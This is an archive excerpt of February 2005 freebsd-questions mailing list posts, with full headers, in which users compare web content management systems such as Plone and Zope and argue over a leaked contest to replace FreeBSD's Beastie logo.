248-863-7584 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:55:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0F9E616A4CE for ; Wed, 9 Feb 2005 21:55:11 +0000 (GMT) Received: from mail-relay4.mirrorimage.net (mail-relay4.mirrorimage.net [209.58.140.15]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0FBFA43D1D for ; Wed, 9 Feb 2005 21:55:10 +0000 (GMT) (envelope-from FreeBSD@keyslapper.net) Received: from localhost (unknown [10.10.4.59]) by mail-relay4.mirrorimage.net (Postfix) with SMTP id 34C726925C for ; Wed, 9 Feb 2005 16:55:09 -0500 (EST) Received: by localhost (sSMTP sendmail emulation); Wed, 9 Feb 2005 16:56:01 -0500 Date: Wed, 9 Feb 2005 16:56:01 -0500 From: Louis LeBlanc To: FreeBSD Questions Message-ID: <20050209215600.GF18088@keyslapper.net> Mail-Followup-To: FreeBSD Questions References: <20050208230206.GA88486@keyslapper.net> <20050209171513.GA18088@keyslapper.net> <86sm45jvce.fsf@PECTOPAH.shenton.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="UoPmpPX/dBe4BELn" Content-Disposition: inline In-Reply-To: <86sm45jvce.fsf@PECTOPAH.shenton.org> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.6i Subject: Re: maybe slightly OT - web content management kits X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:55:11 -0000 --UoPmpPX/dBe4BELn Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline On 02/09/05 04:07 PM, Chris Shenton sat at the `puter and typed: > Louis LeBlanc writes: > > >> I'm trying to find a good website management system. Content > >> management. I'm running Apache 2.0 with (among others) mod_perl2, (perl > >> 5.8.6) and Jakarta Tomcat 5.0. > > > http://www.opensourcecms.com/ > > I'm probably going to try a few out, since there's only a couple in the > > ports. Among my top candidates are Mambo, geeklog (in ports), drupal > > (also in ports), opencms, Etomite, and Magnolia. > > While I'm no expert on it, I think Plone may be the most well thought > out and fully-featured CMS out there; it also looks real nice, right > out of the box, and is fully buzzword-compliant :-). It runs on top of > Zope, so there are lots of ways to extend functionality. There are > also a bunch of add-on Products which can do all sorts of stuff, from > Wikis to PhotoAlbums. Zope's written in Python, so it would not be > leveraging your Java and Perl stuff. I front mine with Apache but > it's not required to do so. Plone's in ports. There are now three > books on Plone which should help you if you want to go this way; > McKay's is available online if you want to take a look at what you can > do with plone. > > http://plone.org/ > http://docs.neuroinf.de/PloneBook Hmm. Plone didn't exactly rise to the top at opensourcecms.org, but since you saw fit to plug it, I'll give it a chance. I'm not familiar with Zope at all. Isn't it an Apache *alternative*? > If you want to stay on the Java side, you could check out Jakarta > Slide, which calls itself a "low-level content management > framework". But that does sound a bit low-level to me. I thought the same thing. I was thinking of trying it anyway, but I think Magnolia and OpenCMS might be based on it - Magnolia is extremely rich in features, and looks very clean. > I'm not generally keen on large Perl and PHP suites, even though I've > written some myself. Probably just my own phobias. There's another > well-featured CMS I've read about -- but haven't played with -- called > Bricolage. It's in Perl IIRC. I'm with you there. I've never written PHP, but I've written some perl mods. Still, I suppose I should keep an open mind with them, if only to see if they can beat out the JSP kits. Thanks for the feedback. Lou -- Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint = C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 "One size fits all": Doesn't fit anyone. --UoPmpPX/dBe4BELn Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCobwr4Wi/oDI2aIRAtaUAJ9Td4otxmJ0z+1HTqUCBzYJdWlWwQCfYZrr onID+GU70lBwCH5bupZBoxc= =25XK -----END PGP SIGNATURE----- --UoPmpPX/dBe4BELn-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:56:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C9EA716A4CE for ; Wed, 9 Feb 2005 21:56:18 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id 48ACA43D39 for ; Wed, 9 Feb 2005 21:56:18 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1CyzoA-000Nex-RV; Wed, 09 Feb 2005 16:55:38 -0500 Message-ID: <420A86FC.1090207@tvog.net> Date: Wed, 09 Feb 2005 16:56:12 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Oliver Leitner References: <69b4e2dd170752e597e235bd862e75e8@tntluoma.com> <200502092233.17866.mark.rowlands@mypost.se> <20050209215358.BBE0643D31@mx1.FreeBSD.org> In-Reply-To: <20050209215358.BBE0643D31@mx1.FreeBSD.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: cc: mark.rowlands@mypost.se cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:56:18 -0000 Oliver Leitner wrote: >On Wednesday 09 February 2005 22:33, Mark Rowlands wrote: > > >>On Wednesday 09 February 2005 21:06, Timothy Luoma wrote: >> >> >>>On Feb 9, 2005, at 1:56 PM, Chad Morland wrote: >>> >>> >>>>On Wed, 09 Feb 2005 18:48:19 +0000, Mark Ovens >>>> >>>>wrote: >>>> >>>> >>>>>See the thread "The FreeBSD Project is announcing a public competition >>>>>for the new logo design. ????" in -advocacy - I've already replied >>>>>with >>>>>my views on the subject, along the same lines as your comments. >>>>> >>>>> >>>>I'm not subscribed to -advocacy can you provide me with an archive >>>>link to this thread in question? I wasn't able to find it based on the >>>>subject you provided. >>>> >>>> >>>Put "freebsd advocacy" into Google, click on the link for the list, >>>click on the link for the archive, and check out February's posts. >>> >>>There are a total of 4 posts listed, 3 of them with the Subject: >>> >>> The FreeBSD Project is announcing a public competition for the new >>>logo design. ???? >>> >>>How hard was that ? >>> >>> >>please take this thread elsewhere...anywhere >> >> > >why? > > > This is a "Questions" list. And this is clearly not a question. Thus, it does not belong here, it belongs on -chat or -advocacy. __________________________________________________ Frank Laszlo System Administrator The VonOstin Group Email: laszlof@tvog.net WWW: http://www.vonostingroup.com Mobile: 248-863-7584 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:58:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9C01516A4CE; Wed, 9 Feb 2005 21:58:12 +0000 (GMT) Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id 458FB43D2F; Wed, 9 Feb 2005 21:58:12 +0000 (GMT) (envelope-from zettel@acm.org) Received: from [192.168.0.2] (bgp966574bgs.derbrn01.mi.comcast.net[68.41.108.205]) by comcast.net (rwcrmhc11) with ESMTP id <2005020921581101300qa25de>; Wed, 9 Feb 2005 21:58:11 +0000 From: Len Zettel To: freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 16:55:43 +0000 User-Agent: KMail/1.6.2 References: <20050209185530.GC18088@keyslapper.net> <420A604D.5000403@freebsd.org> In-Reply-To: <420A604D.5000403@freebsd.org> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-Id: <200502091655.43405.zettel@acm.org> cc: Mark Ovens Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 21:58:12 -0000 On Wednesday 09 February 2005 07:11 pm, Mark Ovens wrote: > Louis LeBlanc wrote: > > On 02/09/05 04:32 PM, Charles-Andr=E9 Landemaine sat at the `puter and= =20 typed: > >> This will sign the death of FreeBSD. > >> > >> How could they believe such crap?! Who said beastie is evil?! This is > >> totally non-sense, it's a logo, it's not the CD cover of a heavy-metal > >> release...! > >> > >> I think the reasons are the same as NetBSD. Do extremist Republicans > >> threaten BSD distros? > >> > >> The word "daemon" in greek means "server" (the person, not the > >> hardware). This is neither good nor bad, if it has to be either one, > >> then it's good. > > > > Uh, not to be rude, but what the hell are you talking about? I don't > > remember anyone talking about changing the logo. > > http://logo-contest.freebsd.org/announce.txt Read it and weep. > Seems to me there could be two separate and not necessarily related issues here. 1) Having a contest for a new logo. 2) Adopting the contest winner as the new logo. The occurrence of (1) does not mandate the occurrence of (2). -LenZ- > Mark > > > --- > avast! Antivirus: Outbound message clean. > Virus Database (VPS): 0506-0, 08/02/2005 > Tested on: 09/02/2005 19:11:10 > avast! - copyright (c) 2000-2004 ALWIL Software. > http://www.avast.com > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 22:02:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 89B7116A4CE for ; Wed, 9 Feb 2005 22:02:05 +0000 (GMT) Received: from mail.gmx.net (pop.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id A07EB43D2F for ; Wed, 9 Feb 2005 22:02:04 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 09 Feb 2005 22:02:03 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp017) with SMTP; 09 Feb 2005 23:02:03 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: Frank Laszlo Date: Wed, 9 Feb 2005 22:56:34 +0100 X-Mailer: KMail [version 1.3.2] References: <20050209215358.BBE0643D31@mx1.FreeBSD.org> <420A86FC.1090207@tvog.net> In-Reply-To: <420A86FC.1090207@tvog.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050209220204.A07EB43D2F@mx1.FreeBSD.org> cc: mark.rowlands@mypost.se cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 22:02:05 -0000 On Wednesday 09 February 2005 22:56, Frank Laszlo wrote: > Oliver Leitner wrote: > >On Wednesday 09 February 2005 22:33, Mark Rowlands wrote: > >>On Wednesday 09 February 2005 21:06, Timothy Luoma wrote: > >>>On Feb 9, 2005, at 1:56 PM, Chad Morland wrote: > >>>>On Wed, 09 Feb 2005 18:48:19 +0000, Mark Ovens > >>>> > >>>>wrote: > >>>>>See the thread "The FreeBSD Project is announcing a public competition > >>>>>for the new logo design. ????" in -advocacy - I've already replied > >>>>>with > >>>>>my views on the subject, along the same lines as your comments. > >>>> > >>>>I'm not subscribed to -advocacy can you provide me with an archive > >>>>link to this thread in question? I wasn't able to find it based on the > >>>>subject you provided. > >>> > >>>Put "freebsd advocacy" into Google, click on the link for the list, > >>>click on the link for the archive, and check out February's posts. > >>> > >>>There are a total of 4 posts listed, 3 of them with the Subject: > >>> > >>> The FreeBSD Project is announcing a public competition for the new > >>>logo design. ???? > >>> > >>>How hard was that ? > >> > >>please take this thread elsewhere...anywhere > > > >why? > > This is a "Questions" list. And this is clearly not a question. Thus, it > does not belong here, it belongs on -chat or -advocacy. i think the threadstarter was asking a question, and he just put his own opinion to it, i think thats a good reason why it should come to this mailinglist, after all it fits the two major reasons, why there are mailinglists. 1. ppls ask questions. 2. ppls tell their opinion on things. > > > __________________________________________________ > Frank Laszlo > System Administrator > The VonOstin Group > Email: laszlof@tvog.net > WWW: http://www.vonostingroup.com > Mobile: 248-863-7584 -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 22:15:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 399A216A4CE for ; Wed, 9 Feb 2005 22:15:00 +0000 (GMT) Received: from fw.farid-hajji.net (fw.farid-hajji.net [213.146.115.42]) by mx1.FreeBSD.org (Postfix) with ESMTP id C2A7943D1F for ; Wed, 9 Feb 2005 22:14:59 +0000 (GMT) (envelope-from cpghost@cordula.ws) Received: from fw.farid-hajji.net (net4801-2 [192.168.254.1]) by fw.farid-hajji.net (Postfix) with ESMTP id BC14E4B27A; Wed, 9 Feb 2005 23:10:45 +0100 (CET) Date: Wed, 9 Feb 2005 23:10:45 +0100 From: cpghost@cordula.ws To: Oliver Leitner Message-ID: <20050209221045.GA18867@fw.farid-hajji.net> References: <20050209215358.BBE0643D31@mx1.FreeBSD.org> <420A86FC.1090207@tvog.net> <20050209220204.A07EB43D2F@mx1.FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050209220204.A07EB43D2F@mx1.FreeBSD.org> User-Agent: Mutt/1.5.6i cc: Frank Laszlo cc: mark.rowlands@mypost.se cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 22:15:00 -0000 On Wed, Feb 09, 2005 at 10:56:34PM +0100, Oliver Leitner wrote: > i think the threadstarter was asking a question, and he just put his own > opinion to it, i think thats a good reason why it should come to this > mailinglist, after all it fits the two major reasons, why there are > mailinglists. > > 1. ppls ask questions. > 2. ppls tell their opinion on things. 3. This point is IMHO way too important to be hidden in mailing lists with less exposure than questions@. I've first learned about this incredible thing from questions@, and I'm sure a lot more people did as well. This is IMO not a point to sneak by past community scrutiny, because it affects us all. Regards, -cpghost. -- Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 22:35:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 60D1E16A4CF for ; Wed, 9 Feb 2005 22:35:02 +0000 (GMT) Received: from meisai.numachi.com (meisai.numachi.com [198.175.254.6]) by mx1.FreeBSD.org (Postfix) with SMTP id 19E0B43D58 for ; Wed, 9 Feb 2005 22:35:01 +0000 (GMT) (envelope-from reichert@numachi.com) Received: (qmail 98746 invoked from network); 9 Feb 2005 22:34:59 -0000 Received: from natto.numachi.com (198.175.254.216) by meisai.numachi.com with SMTP; 9 Feb 2005 22:34:59 -0000 Received: (qmail 40915 invoked by uid 1001); 9 Feb 2005 22:34:59 -0000 Date: Wed, 9 Feb 2005 17:34:59 -0500 From: Brian Reichert To: stheg olloydson Message-ID: <20050209223459.GL30543@numachi.com> References: <20050209212950.50123.qmail@web53902.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050209212950.50123.qmail@web53902.mail.yahoo.com> User-Agent: Mutt/1.5.6i cc: freebsd-advocacy@freebsd.org cc: core@FreeBSD.org cc: freebsd-questions@freebsd.org cc: kuriyama@FreeBSD.org Subject: Re: FreeBSD logo design competition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 22:35:02 -0000 On Wed, Feb 09, 2005 at 01:29:50PM -0800, stheg olloydson wrote: > When you say, "The FreeBSD Project is pleased to announce...", the > statement implies a majority of the "FreeBSD Project" made this > decision. Who is the "FreeBSD Project"? According to the announcement, Maybe I'm confused. Acoording to the home page: "As of 2005-02-09, competition is not yet announced, and received 0 submissions." I'm on -announce, and saw no announcement about this competition. Perhaps, we're reading too far into a text file that no-one was supposed to see yet? > Best Regards, > > Stheg Olloydson -- Brian Reichert 37 Crystal Ave. #303 Daytime number: (603) 434-6842 Derry NH 03038-1713 USA BSD admin/developer at large From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 22:49:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 71ACD16A4CE for ; Wed, 9 Feb 2005 22:49:40 +0000 (GMT) Received: from mail-relay4.mirrorimage.net (mail-relay4.mirrorimage.net [209.58.140.15]) by mx1.FreeBSD.org (Postfix) with ESMTP id D356F43D45 for ; Wed, 9 Feb 2005 22:49:39 +0000 (GMT) (envelope-from FreeBSD@keyslapper.net) Received: from localhost (unknown [10.10.4.59]) by mail-relay4.mirrorimage.net (Postfix) with SMTP id 99CCD6925B for ; Wed, 9 Feb 2005 17:49:38 -0500 (EST) Received: by localhost (sSMTP sendmail emulation); Wed, 9 Feb 2005 17:50:30 -0500 Date: Wed, 9 Feb 2005 17:50:30 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050209225030.GH18088@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <20050209215358.BBE0643D31@mx1.FreeBSD.org> <420A86FC.1090207@tvog.net> <20050209220204.A07EB43D2F@mx1.FreeBSD.org> <20050209221045.GA18867@fw.farid-hajji.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Dzs2zDY0zgkG72+7" Content-Disposition: inline In-Reply-To: <20050209221045.GA18867@fw.farid-hajji.net> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.6i Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 22:49:40 -0000 --Dzs2zDY0zgkG72+7 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline On 02/09/05 11:10 PM, cpghost@cordula.ws sat at the `puter and typed: > On Wed, Feb 09, 2005 at 10:56:34PM +0100, Oliver Leitner wrote: > > i think the threadstarter was asking a question, and he just put his own > > opinion to it, i think thats a good reason why it should come to this > > mailinglist, after all it fits the two major reasons, why there are > > mailinglists. > > > > 1. ppls ask questions. > > 2. ppls tell their opinion on things. > > 3. This point is IMHO way too important to be hidden in mailing > lists with less exposure than questions@. > > I've first learned about this incredible thing from questions@, and I'm > sure a lot more people did as well. This is IMO not a point to sneak by > past community scrutiny, because it affects us all. Good point. It's validity may be questioned here, but not by me. For my part, I'm totally against diminishing the significance of Beastie in any way shape or form. Putting my money where my mouth is, I just came from the FreeBSD Mall, where (cheapskate that I am), I bought 3 shirts and 4 bumper stickers. And in the past, I've only ever worn or used logos if they were for the Red Sox, the Patriots (and even those sparingly), or a free shirt. Hey, free is free, right? That said, I certainly won't be moving to another OS if Beastie should disappear. He's not the reason I fell in love with FreeBSD. Of course, I'll still dig up the Beastie images where I can and put them back where they belong. I fully intend to keep Beastie visible in all my FreeBSD systems. Of course (at the risk of starting a *real* holy war), I'm a recovered Catholic (read: "raving athiest"), so maybe my opinions and support won't carry much weight. Lou -- Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint = C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 It has just been discovered that research causes cancer in rats. --Dzs2zDY0zgkG72+7 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCpO2r4Wi/oDI2aIRArlEAJ4nWMIsuPPDLvZRXvcrhXEt+JNxYgCfckPG KP+rUMr3nkA8oWd1fO2qVAk= =6N1R -----END PGP SIGNATURE----- --Dzs2zDY0zgkG72+7-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 22:54:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1B7A316A4CE for ; Wed, 9 Feb 2005 22:54:29 +0000 (GMT) Received: from mail.meangrape.com (mail.meangrape.com [209.223.7.159]) by mx1.FreeBSD.org (Postfix) with SMTP id 59BFD43D2D for ; Wed, 9 Feb 2005 22:54:28 +0000 (GMT) (envelope-from jay@meangrape.com) Received: (qmail 22384 invoked by uid 1002); 9 Feb 2005 22:55:24 -0000 Date: Wed, 9 Feb 2005 16:55:23 -0600 From: Jay To: FreeBSD Questions Message-ID: <20050209225523.GD47217@mail.meangrape.com> Mail-Followup-To: Jay , FreeBSD Questions References: <20050208230206.GA88486@keyslapper.net> <20050209171513.GA18088@keyslapper.net> <86sm45jvce.fsf@PECTOPAH.shenton.org> <20050209215600.GF18088@keyslapper.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ZARJHfwaSJQLOEUz" Content-Disposition: inline In-Reply-To: <20050209215600.GF18088@keyslapper.net> X-PGP-Signature: C9C8 6FEE 0E34 A778 8D4A 5240 B5C6 6B4A C364 241A User-Agent: Mutt/1.5.7i Subject: Re: maybe slightly OT - web content management kits X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 22:54:29 -0000 --ZARJHfwaSJQLOEUz Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 04:56:01PM -0500, Louis LeBlanc wrote: > On 02/09/05 04:07 PM, Chris Shenton sat at the `puter and typed: > > Louis LeBlanc writes: > Hmm. Plone didn't exactly rise to the top at opensourcecms.org, but > since you saw fit to plug it, I'll give it a chance. Plone is very, very nice. =20 > I'm not familiar with Zope at all. Isn't it an Apache *alternative*? Yes and no. Zope serves up all of its content. It's quite common to run Apache in front of it, though -- that way you can use all of your Apache modules. =20 Since a Zope site is totally dynamic, it usually makes sense to run some kind of caching server in front of it. Some people use Apache because that's what they're familiar with/have installed/etc, etc. If you're not going to use any of Apache's features, squid is generally better for that. If you're interested, send me an email off-list, and I'll make you an account on my Plone site so you can dink around and see what it's like. --=20 Jay. --ZARJHfwaSJQLOEUz Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCpTbtcZrSsNkJBoRAgIwAJ9zqDkd5GNIIqn0fJTTXC0GRNGiagCglA0W 3gtXpwCtf5irHqfJjP9chf4= =j6iZ -----END PGP SIGNATURE----- --ZARJHfwaSJQLOEUz-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 22:57:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E866616A4CE; Wed, 9 Feb 2005 22:57:47 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9AB9543D53; Wed, 9 Feb 2005 22:57:47 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id EAD4B512FC; Wed, 9 Feb 2005 14:57:46 -0800 (PST) Date: Wed, 9 Feb 2005 14:57:46 -0800 From: Kris Kennaway To: Brian Reichert Message-ID: <20050209225746.GA30464@xor.obsecurity.org> References: <20050209212950.50123.qmail@web53902.mail.yahoo.com> <20050209223459.GL30543@numachi.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5mCyUwZo2JvN/JJP" Content-Disposition: inline In-Reply-To: <20050209223459.GL30543@numachi.com> User-Agent: Mutt/1.4.2.1i cc: freebsd-advocacy@freebsd.org cc: core@FreeBSD.org cc: stheg olloydson cc: kuriyama@FreeBSD.org cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD logo design competition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 22:57:48 -0000 --5mCyUwZo2JvN/JJP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 05:34:59PM -0500, Brian Reichert wrote: > On Wed, Feb 09, 2005 at 01:29:50PM -0800, stheg olloydson wrote: > > When you say, "The FreeBSD Project is pleased to announce...", the > > statement implies a majority of the "FreeBSD Project" made this > > decision. Who is the "FreeBSD Project"? According to the announcement, >=20 > Maybe I'm confused. Acoording to the home page: >=20 > >=20 > "As of 2005-02-09, competition is not yet announced, and received > 0 submissions." >=20 > I'm on -announce, and saw no announcement about this competition. >=20 > Perhaps, we're reading too far into a text file that no-one was > supposed to see yet? Yes. Some committer must have leaked the information, and it apparently sent everyone into a panic. Calm down, folks :) Kris --5mCyUwZo2JvN/JJP Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCpVqWry0BWjoQKURAtOZAJ0Y9UJEJTP37ytbw5LCHqCm6rml8QCZAWQ/ f1hi4gx+jRu02Nfcoyj5XKE= =5a6z -----END PGP SIGNATURE----- --5mCyUwZo2JvN/JJP-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 23:04:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4F7F216A4D1 for ; Wed, 9 Feb 2005 23:04:40 +0000 (GMT) Received: from finishlinestudios.com (mail.gotoamerica.com [12.40.80.6]) by mx1.FreeBSD.org (Postfix) with ESMTP id B683643D45 for ; Wed, 9 Feb 2005 23:04:39 +0000 (GMT) (envelope-from thomas@finishlinestudios.com) Received: from THOMAS [12.40.80.200] by finishlinestudios.com with ESMTP (SMTPD32-8.15) id A6132EE20026; Wed, 09 Feb 2005 17:00:35 -0600 From: "Thomas Doxtater" To: Date: Wed, 9 Feb 2005 17:04:31 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <20050209215600.GF18088@keyslapper.net> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 Importance: Normal X-RBL-Warning: CMDSPACE: Space found in RCPT TO: command. X-Declude-Sender: thomas@finishlinestudios.com [12.40.80.200] X-Spam-Tests-Failed: CMDSPACE [3] X-Note: This E-mail was scanned by Declude JunkMail (www.declude.com) for spam. Subject: RE: maybe slightly OT - web content management kits X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 23:04:40 -0000 On 02/09/05 04:07 PM, Chris Shenton sat at the `puter and typed: > Louis LeBlanc writes: > > >> I'm trying to find a good website management system. Content > >> management. I'm running Apache 